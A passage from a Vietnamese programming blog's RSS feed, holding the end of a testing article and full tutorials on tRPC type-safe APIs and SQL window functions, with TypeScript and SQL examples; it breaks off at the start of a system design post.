        DATABASE_URL: postgres://postgres:test@localhost:5432/postgres
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tips&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Test behavior, không test implementation — đừng test internal state&lt;/li&gt;
&lt;li&gt;Mỗi test một concept — nếu test fail, bạn biết ngay cái gì hỏng&lt;/li&gt;
&lt;li&gt;AAA Pattern: Arrange (setup) → Act (hành động) → Assert (kiểm tra)&lt;/li&gt;
&lt;li&gt;Fake trước, mock sau — dùng in-memory DB thay vì mock DB&lt;/li&gt;
&lt;li&gt;Snapshot cho UI — nhưng dùng có chọn lọc, snapshot dễ hỏng&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Viết test không làm bạn chậm — nó làm bạn nhanh hơn về dài hạn. Bắt đầu với unit test cho logic business, thêm integration test cho API, và E2E cho critical user flow. 80% coverage là đủ — chasing 100% thường lãng phí.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/&quot;&gt;Vitest Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://testing-library.com/docs/&quot;&gt;Testing Library Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://playwright.dev/docs/intro&quot;&gt;Playwright Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ladjs/supertest&quot;&gt;Supertest — HTTP Assertions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://testcontainers.com/&quot;&gt;Testcontainers — Integration Test Containers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xp123.com/articles/3a-arrange-act-assert/&quot;&gt;AAA Pattern — Arrange, Act, Assert&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>tRPC — API Type-Safe Cho TypeScript</title><link>https://dopana-blog.pages.dev/blog/trpc-api-type-safe-cho-typescript</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/trpc-api-type-safe-cho-typescript</guid><description>tRPC xây API type-safe giữa frontend và backend TypeScript, tự động suy kiểu, không cần schema codegen. So sánh với REST, GraphQL, code demo.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;tRPC là framework TypeScript thuần xây API type-safe giữa client và server. Không schema riêng, không codegen — TypeScript compiler làm hết.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client → tRPC Client → HTTP → tRPC Server → Handler
         type inferred ←———————— type defined
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;REST / GraphQL / tRPC&lt;/h2&gt;
&lt;p&gt;| | REST | GraphQL | tRPC |
|---|---|---|---|
| Schema | Không | SDL | TypeScript type |
| Type safety | Manual/client-gen | Codegen | Tự động |
| Over-fetching | Có | Không | Tuỳ procedure |
| Học | Thấp | Trung bình | Rất thấp |
| Tooling ecosystem | Lớn | Trung bình | Nhỏ hơn |&lt;/p&gt;
&lt;p&gt;tRPC không thay thế REST/GraphQL mọi lúc — nhưng cho fullstack TypeScript, nó giảm đáng kể friction.&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir my-app &amp;#x26;&amp;#x26; cd my-app
npm init -y
npm install @trpc/server @trpc/client zod
npx tsc --init
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Server&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// server.ts
import { initTRPC } from &apos;@trpc/server&apos;;
import { z } from &apos;zod&apos;;
import { createHTTPServer } from &apos;@trpc/server/adapters/standalone&apos;;

const t = initTRPC.create();

const todoRouter = t.router({
  list: t.procedure
    .query(async () =&gt; {
      return db.select().from(todos);
    }),

  add: t.procedure
    .input(z.object({ text: z.string().min(1) }))
    .mutation(async ({ input }) =&gt; {
      return db.insert(todos).values({ text: input.text }).returning();
    }),

  toggle: t.procedure
    .input(z.object({ id: z.number() }))
    .mutation(async ({ input }) =&gt; {
      return db.update(todos)
        .set({ done: sql`NOT done` })
        .where(eq(todos.id, input.id));
    }),
});

export type AppRouter = typeof todoRouter;

createHTTPServer({
  router: todoRouter,
  createContext() {
    return { user: getCurrentUser() };
  },
}).listen(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// client.ts
import { createTRPCProxyClient, httpBatchLink } from &apos;@trpc/client&apos;;
import type { AppRouter } from &apos;./server&apos;;

const client = createTRPCProxyClient&amp;#x3C;AppRouter&gt;({
  links: [httpBatchLink({ url: &apos;http://localhost:3000&apos; })],
});

// ✅ Tự động suy kiểu — có autocomplete
const todos = await client.todo.list.query();

// ✅ Input kiểm tra type
await client.todo.add.mutate({ text: &apos;Học tRPC&apos; });
// ❌ Lỗi compile: missing &apos;text&apos;
await client.todo.add.mutate({});

// ✅ Output có kiểu đầy đủ
todos[0].text;            // string
todos[0].done;           // boolean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Phía client không cần share type bằng tay — import &lt;code&gt;AppRouter&lt;/code&gt; là TypeScript tự suy toàn bộ.&lt;/p&gt;
&lt;h2&gt;Zod Input Validation&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;input()&lt;/code&gt; nhận bất kỳ parser nào. Zod là phổ biến nhất:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const userRouter = t.router({
  create: t.procedure
    .input(
      z.object({
        email: z.string().email(),
        name: z.string().min(2).max(100),
        age: z.number().int().positive().optional(),
      })
    )
    .mutation(async ({ input }) =&gt; {
      // input đã được validate + typed
      return createUser(input);
    }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Validation chạy ở server. Lỗi trả về dạng &lt;code&gt;TRPCError&lt;/code&gt; code &lt;code&gt;BAD_REQUEST&lt;/code&gt; tự động.&lt;/p&gt;
&lt;h2&gt;Context &amp;#x26; Middleware&lt;/h2&gt;
&lt;p&gt;Context được tạo mỗi request:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;createHTTPServer({
  router: todoRouter,
  createContext({ req }) {
    const token = req.headers.authorization?.split(&apos; &apos;)[1];
    const user = token ? verifyToken(token) : null;
    return { user };
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Middleware cho phép kiểm tra auth tập trung:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const isAuthed = t.middleware(({ ctx, next }) =&gt; {
  if (!ctx.user) throw new TRPCError({ code: &apos;UNAUTHORIZED&apos; });
  return next({ ctx: { ...ctx, user: ctx.user } });
});

const authedProcedure = t.procedure.use(isAuthed);

const authRouter = t.router({
  me: authedProcedure.query(({ ctx }) =&gt; ctx.user),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error Handling&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const updateRouter = t.router({
  update: t.procedure
    .input(z.object({ id: z.number() }))
    .mutation(async ({ input, ctx }) =&gt; {
      const todo = await db.select().from(todos).where(eq(todos.id, input.id));
      if (!todo) throw new TRPCError({
        code: &apos;NOT_FOUND&apos;,
        message: &apos;Todo không tồn tại&apos;,
      });
      if (todo.userId !== ctx.user.id) throw new TRPCError({
        code: &apos;FORBIDDEN&apos;,
        message: &apos;Không có quyền sửa todo này&apos;,
      });
    }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mã lỗi: &lt;code&gt;PARSE_ERROR&lt;/code&gt;, &lt;code&gt;BAD_REQUEST&lt;/code&gt;, &lt;code&gt;UNAUTHORIZED&lt;/code&gt;, &lt;code&gt;FORBIDDEN&lt;/code&gt;, &lt;code&gt;NOT_FOUND&lt;/code&gt;, &lt;code&gt;TIMEOUT&lt;/code&gt;, &lt;code&gt;CONFLICT&lt;/code&gt;, &lt;code&gt;PRECONDITION_FAILED&lt;/code&gt;, &lt;code&gt;PAYLOAD_TOO_LARGE&lt;/code&gt;, &lt;code&gt;METHOD_NOT_SUPPORTED&lt;/code&gt;, &lt;code&gt;INTERNAL_SERVER_ERROR&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;React Integration&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// utils/trpc.ts
import { createTRPCReact } from &apos;@trpc/react-query&apos;;
import type { AppRouter } from &apos;../server&apos;;

export const trpc = createTRPCReact&amp;#x3C;AppRouter&gt;();

// _app.tsx
import { QueryClient, QueryClientProvider } from &apos;@tanstack/react-query&apos;;
import { httpBatchLink } from &apos;@trpc/client&apos;;
import { trpc } from &apos;../utils/trpc&apos;;

const queryClient = new QueryClient();
const trpcClient = trpc.createClient({
  links: [httpBatchLink({ url: &apos;http://localhost:3000/trpc&apos; })],
});

export default function App({ children }) {
  return (
    &amp;#x3C;trpc.Provider client={trpcClient} queryClient={queryClient}&gt;
      &amp;#x3C;QueryClientProvider client={queryClient}&gt;
        {children}
      &amp;#x3C;/QueryClientProvider&gt;
    &amp;#x3C;/trpc.Provider&gt;
  );
}

// Component
function TodoList() {
  const utils = trpc.useUtils();

  // ✅ Tự động caching, refetch, loading/error state
  const { data: todos, isLoading } = trpc.todo.list.useQuery();

  const addMutation = trpc.todo.add.useMutation({
    onSuccess: () =&gt; utils.todo.list.invalidate(),
  });

  if (isLoading) return &amp;#x3C;Spinner /&gt;;

  return (
    &amp;#x3C;ul&gt;
      {todos?.map(todo =&gt; (
        &amp;#x3C;li key={todo.id}&gt;
          &amp;#x3C;span&gt;{todo.text}&amp;#x3C;/span&gt;
          &amp;#x3C;button onClick={() =&gt; addMutation.mutate({ text: &apos;New&apos; })}&gt;
            Add
          &amp;#x3C;/button&gt;
        &amp;#x3C;/li&gt;
      ))}
    &amp;#x3C;/ul&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Với React Query tích hợp sẵn: auto-refetch, optimistic update, cache invalidation, loading states.&lt;/p&gt;
&lt;h2&gt;Server-side Rendering (Next.js)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// server/trpc.ts
import { initTRPC } from &apos;@trpc/server&apos;;
import { createTRPCNext } from &apos;@trpc/next&apos;;
import { httpBatchLink } from &apos;@trpc/client&apos;;
import type { AppRouter } from &apos;./_app&apos;;

// App Router (Next.js 13+)
export const api = createTRPCNext&amp;#x3C;AppRouter&gt;({
  config() {
    return { links: [httpBatchLink({ url: &apos;/api/trpc&apos; })] };
  },
  ssr: true,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// pages/api/trpc/[trpc].ts (Pages Router)
import { createNextApiHandler } from &apos;@trpc/server/adapters/next&apos;;
import { appRouter } from &apos;../../../server/_app&apos;;

export default createNextApiHandler({
  router: appRouter,
  createContext({ req, res }) {
    return { session: await getSession({ req }) };
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Với Next.js App Router:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// app/api/trpc/[trpc]/route.ts
import { fetchRequestHandler } from &apos;@trpc/server/adapters/fetch&apos;;
import { appRouter } from &apos;@/server/_app&apos;;

const handler = (req: Request) =&gt;
  fetchRequestHandler({
    endpoint: &apos;/api/trpc&apos;,
    req,
    router: appRouter,
    createContext: () =&gt; ({ session: await auth() }),
  });

export { handler as GET, handler as POST };
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng tRPC?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Fullstack TypeScript (monorepo hoặc share type giữa client/server)&lt;/li&gt;
&lt;li&gt;Internal API, không public&lt;/li&gt;
&lt;li&gt;MVP / startup — cần ship nhanh&lt;/li&gt;
&lt;li&gt;Micro-frontend với nhiều service TypeScript&lt;/li&gt;
&lt;li&gt;App mobile (React Native) + web cùng API&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;API public cho bên thứ ba (cần OpenAPI/Swagger)&lt;/li&gt;
&lt;li&gt;Dùng nhiều ngôn ngữ backend khác (Python, Go, Rust)&lt;/li&gt;
&lt;li&gt;Hệ thống legacy không TypeScript&lt;/li&gt;
&lt;li&gt;Cần caching HTTP tầng CDN / reverse proxy mạnh&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;So Sánh Chi Tiết&lt;/h2&gt;
&lt;h3&gt;tRPC vs REST&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// REST
GET    /api/todos          → { todos: Todo[] }
POST   /api/todos          → { todo: Todo }
PATCH  /api/todos/:id      → { todo: Todo }

// Client REST
const res = await fetch(&apos;/api/todos&apos;);
const data = await res.json();
// data: any — mất type, dễ bug

// tRPC
const todos = await trpc.todo.list.query();
// todos: Todo[] — type-safe, autocomplete
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;tRPC vs GraphQL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-graphql&quot;&gt;# GraphQL
query { todos { id text done } }

# Type định nghĩa riêng SDL → codegen → TypeScript
# Mỗi lần thay đổi schema: chạy codegen lại

# tRPC
await trpc.todo.list.query();
# Type từ server, zero codegen
# Schema = TypeScript type duy nhất
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Subscription (Realtime)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const roomRouter = t.router({
  onMessage: t.procedure
    .subscription(async function* ({ input }) {
      for await (const msg of subscribeToRoom(input.roomId)) {
        yield { message: msg };
      }
    }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// React hook
const { data } = trpc.room.onMessage.useSubscription(
  { roomId: &apos;general&apos; },
  { onData: (msg) =&gt; console.log(msg) }
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng WebSocket phía dưới. Async generator pattern — clean, không callback hell.&lt;/p&gt;
&lt;h2&gt;Tổ Chức Router&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// server/_app.ts — root router
import { router } from &apos;./trpc&apos;;
import { todoRouter } from &apos;./routers/todo&apos;;
import { userRouter } from &apos;./routers/user&apos;;
import { roomRouter } from &apos;./routers/room&apos;;

export const appRouter = router({
  todo: todoRouter,
  user: userRouter,
  room: roomRouter,
});

export type AppRouter = typeof appRouter;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// server/routers/todo.ts
export const todoRouter = t.router({
  list: t.procedure.query(() =&gt; ...),
  add: t.procedure.input(z.object({...})).mutation(() =&gt; ...),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chia router theo domain. Client gọi &lt;code&gt;trpc.todo.list.query()&lt;/code&gt;, &lt;code&gt;trpc.user.me.query()&lt;/code&gt; — namespace tự động.&lt;/p&gt;
&lt;h2&gt;Middleware Pattern: Rate Limiting&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const rateLimit = t.middleware(async ({ ctx, next }) =&gt; {
  const key = `rate:${ctx.ip}`;
  const hits = await redis.incr(key);
  if (hits &gt; 100) throw new TRPCError({ code: &apos;TOO_MANY_REQUESTS&apos; });
  await redis.expire(key, 60);
  return next();
});

const publicProcedure = t.procedure.use(rateLimit);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error Trả Về Cho Client&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;try {
  await trpc.todo.update.mutate({ id: 999 });
} catch (error) {
  if (error instanceof TRPCClientError) {
    if (error.data.code === &apos;NOT_FOUND&apos;) {
      notify(&apos;Todo không tồn tại&apos;);
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server trả JSON: &lt;code&gt;{ code: &apos;NOT_FOUND&apos;, message: &apos;...&apos;, httpStatus: 404 }&lt;/code&gt;. Client parse type-safe.&lt;/p&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;tRPC giải quyết vấn đề đau nhất của fullstack TypeScript: type safety không ma sát.&lt;/p&gt;
&lt;p&gt;| Ưu điểm | Nhược điểm |
|---|---|
| Zero codegen — Type compiler làm việc | Chỉ TypeScript |
| Tự động suy kiểu đầu ra | Không có schema language |
| Validation tích hợp sẵn | Public API khó dùng |
| React Query tích hợp ngay | Cộng đồng nhỏ hơn |
| Dễ học — vài dòng code | |&lt;/p&gt;
&lt;p&gt;tRPC không phải viên đạn bạc. Trong hệ sinh thái fullstack TypeScript, nó là công cụ giảm friction tối đa — focus vào logic thay vì cầu nối.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Tóm lại: từ server...
export const appRouter = t.router({
  hello: t.procedure
    .input(z.object({ name: z.string() }))
    .query(({ input }) =&gt; `Hello, ${input.name}!`),
});

// ...đến client chỉ cần 1 dòng
const msg = await trpc.hello.query({ name: &apos;World&apos; }); // &quot;Hello, World!&quot;
// ✅ Type-safe từ đầu đến cuối
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://trpc.io/docs&quot;&gt;tRPC Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/trpc/trpc&quot;&gt;tRPC GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zod.dev&quot;&gt;Zod Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tanstack.com/query/latest&quot;&gt;React Query / TanStack Query&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://trpc.io/docs/client/nextjs&quot;&gt;tRPC with Next.js&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>SQL Window Functions — Phân Tích Dữ Liệu Không Cần Subquery</title><link>https://dopana-blog.pages.dev/blog/sql-window-functions</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/sql-window-functions</guid><description>Window functions trong SQL: ROW_NUMBER, RANK, LEAD, LAG, SUM OVER — phân tích dữ liệu mạnh mẽ mà không cần subquery.</description><pubDate>Thu, 02 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Window functions tính toán trên một tập hợp các dòng liên quan đến dòng hiện tại — nhưng không gộp chúng lại như GROUP BY.&lt;/p&gt;
&lt;p&gt;NOTE: &quot;Window&quot; có nghĩa là tập hợp các dòng được tính toán.&lt;/p&gt;
&lt;h2&gt;Window Function vs GROUP BY&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- GROUP BY — gộp dòng, mất chi tiết
SELECT department, AVG(salary)
FROM employees
GROUP BY department;

-- Window function — giữ nguyên dòng, thêm cột tính toán
SELECT name, department, salary,
       AVG(salary) OVER (PARTITION BY department) AS dept_avg
FROM employees;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;OVER và PARTITION BY&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  name,
  department,
  salary,
  -- AVG trong từng department
  AVG(salary) OVER (PARTITION BY department) AS dept_avg,
  -- Global AVG
  AVG(salary) OVER () AS company_avg,
  -- Salary so với department average
  ROUND(salary - AVG(salary) OVER (PARTITION BY department)) AS diff_from_dept_avg
FROM employees;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ROW_NUMBER, RANK, DENSE_RANK&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  name,
  department,
  salary,
  ROW_NUMBER() OVER (ORDER BY salary DESC) AS row_num,
  RANK() OVER (ORDER BY salary DESC) AS rank,
  DENSE_RANK() OVER (ORDER BY salary DESC) AS dense_rank
FROM employees;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| salary | ROW_NUMBER | RANK | DENSE_RANK |
|---|---|---|---|
| 10000 | 1 | 1 | 1 |
| 9000 | 2 | 2 | 2 |
| 9000 | 3 | 2 | 2 |
| 8000 | 4 | 4 | 3 |&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ROW_NUMBER&lt;/code&gt; — unique, không trùng&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RANK&lt;/code&gt; — trùng nhau, bỏ qua số&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DENSE_RANK&lt;/code&gt; — trùng nhau, không bỏ số&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Ví Dụ — Top-N Per Group&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Top 3 nhân viên lương cao nhất mỗi phòng ban
WITH ranked AS (
  SELECT
    name,
    department,
    salary,
    ROW_NUMBER() OVER (PARTITION BY department ORDER BY salary DESC) AS rn
  FROM employees
)
SELECT name, department, salary
FROM ranked
WHERE rn &amp;#x3C;= 3;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;LEAD và LAG — So Sánh Với Dòng Trước/Sau&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  date,
  revenue,
  LAG(revenue) OVER (ORDER BY date) AS prev_day_revenue,
  revenue - LAG(revenue) OVER (ORDER BY date) AS daily_change,
  LEAD(revenue) OVER (ORDER BY date) AS next_day_revenue
FROM daily_revenue
ORDER BY date;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| date | revenue | prev_day | change | next_day |
|---|---|---|---|---|
| 2024-01-01 | 1000 | NULL | NULL | 1200 |
| 2024-01-02 | 1200 | 1000 | 200 | 1100 |
| 2024-01-03 | 1100 | 1200 | -100 | 1300 |&lt;/p&gt;
&lt;h3&gt;Ví Dụ — User Session Duration&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Tính thời gian giữa các hành động của user
SELECT
  user_id,
  action,
  created_at,
  LAG(created_at) OVER (PARTITION BY user_id ORDER BY created_at) AS prev_action,
  EXTRACT(EPOCH FROM created_at - LAG(created_at)
    OVER (PARTITION BY user_id ORDER BY created_at)) AS seconds_since_prev
FROM user_actions;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;FIRST_VALUE và LAST_VALUE&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  department,
  name,
  salary,
  FIRST_VALUE(name) OVER (PARTITION BY department ORDER BY salary DESC) AS highest_paid,
  LAST_VALUE(name) OVER (
    PARTITION BY department
    ORDER BY salary DESC
    RANGE BETWEEN UNBOUNDED PRECEDING AND UNBOUNDED FOLLOWING
  ) AS lowest_paid
FROM employees;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Running Total — Cumulative SUM&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  date,
  revenue,
  SUM(revenue) OVER (ORDER BY date) AS running_total,
  SUM(revenue) OVER (ORDER BY date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS weekly_moving_avg
FROM daily_revenue;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;NTILE — Chia Nhóm&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Chia employees thành 4 nhóm (quartile) theo lương
SELECT
  name,
  salary,
  NTILE(4) OVER (ORDER BY salary DESC) AS salary_quartile
FROM employees;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Phân trang API dùng NTILE
WITH page_groups AS (
  SELECT *,
    NTILE(10) OVER (ORDER BY id) AS page
  FROM products
)
SELECT * FROM page_groups WHERE page = 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CUME_DIST và PERCENT_RANK&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  score,
  CUME_DIST() OVER (ORDER BY score DESC) AS cumulative_dist,  -- % của scores &amp;#x3C;= hiện tại
  PERCENT_RANK() OVER (ORDER BY score DESC) AS percent_rank    -- relative rank (0-1)
FROM exam_scores;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ví Dụ Thực Tế&lt;/h2&gt;
&lt;h3&gt;1. Detect Thay Đổi Trạng Thái&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;WITH changes AS (
  SELECT
    user_id,
    status,
    created_at,
    LAG(status) OVER (PARTITION BY user_id ORDER BY created_at) AS prev_status
  FROM subscriptions
)
SELECT *
FROM changes
WHERE status != prev_status OR prev_status IS NULL;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Fill Missing Dates&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Tạo date series và fill missing values
WITH dates AS (
  SELECT generate_series(
    &apos;2024-01-01&apos;::date,
    &apos;2024-01-31&apos;::date,
    &apos;1 day&apos;::interval
  ) AS date
)
SELECT
  dates.date,
  COALESCE(sales.amount, 0) AS amount,
  SUM(COALESCE(sales.amount, 0)) OVER (ORDER BY dates.date) AS running_total
FROM dates
LEFT JOIN sales ON sales.date = dates.date
ORDER BY dates.date;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. So Sánh Tháng Này vs Tháng Trước&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;WITH monthly AS (
  SELECT
    DATE_TRUNC(&apos;month&apos;, order_date)::date AS month,
    SUM(amount) AS revenue
  FROM orders
  GROUP BY month
)
SELECT
  month,
  revenue,
  LAG(revenue) OVER (ORDER BY month) AS prev_month,
  ROUND((revenue - LAG(revenue) OVER (ORDER BY month))
    / NULLIF(LAG(revenue) OVER (ORDER BY month), 0) * 100, 2) AS growth_pct
FROM monthly;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. First Purchase per User&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  user_id,
  order_date,
  amount,
  ROW_NUMBER() OVER (PARTITION BY user_id ORDER BY order_date) AS order_rank
FROM orders;
-- WHERE order_rank = 1 → first purchase
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Performance&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Window functions cần sort — đảm bảo có index phù hợp
CREATE INDEX idx_employees_dept_salary ON employees(department, salary DESC);
CREATE INDEX idx_daily_revenue_date ON daily_revenue(date);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Window functions là một trong những tính năng SQL mạnh nhất:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ROW_NUMBER()&lt;/code&gt; — xếp hạng, top-N per group&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LAG/LEAD&lt;/code&gt; — so sánh với dòng trước/sau&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUM OVER (ORDER BY)&lt;/code&gt; — running total&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NTILE&lt;/code&gt; — phân nhóm percentile&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FIRST_VALUE/LAST_VALUE&lt;/code&gt; — giá trị biên&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Học window functions = giảm 80% subquery và self-join trong code.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/tutorial-window.html&quot;&gt;PostgreSQL Window Functions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/functions-window.html&quot;&gt;PostgreSQL Window Function List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mode.com/sql-tutorial/sql-window-functions/&quot;&gt;SQL Window Functions — Mode Analytics Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://use-the-index-luke.com/sql/partial-results/window-functions&quot;&gt;Use The Index, Luke — Window Functions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>System Design — Từ Monolith Đến Distributed System</title><link>https://dopana-blog.pages.dev/blog/system-design</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/system-design</guid><description>Các khái niệm system design cơ bản: load balancing, caching, database sharding, CAP theorem và hơn thế nữa.</description><pubDate>Thu, 02 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;System design là kỹ năng thiết kế hệ thống đáp ứng được hàng triệu user. Không chỉ viết code — mà là cách các thành phần giao tiếp, scale, chịu lỗi.&lt;/p&gt;
&lt;h2&gt;CAP Theorem&lt;/h2&gt;
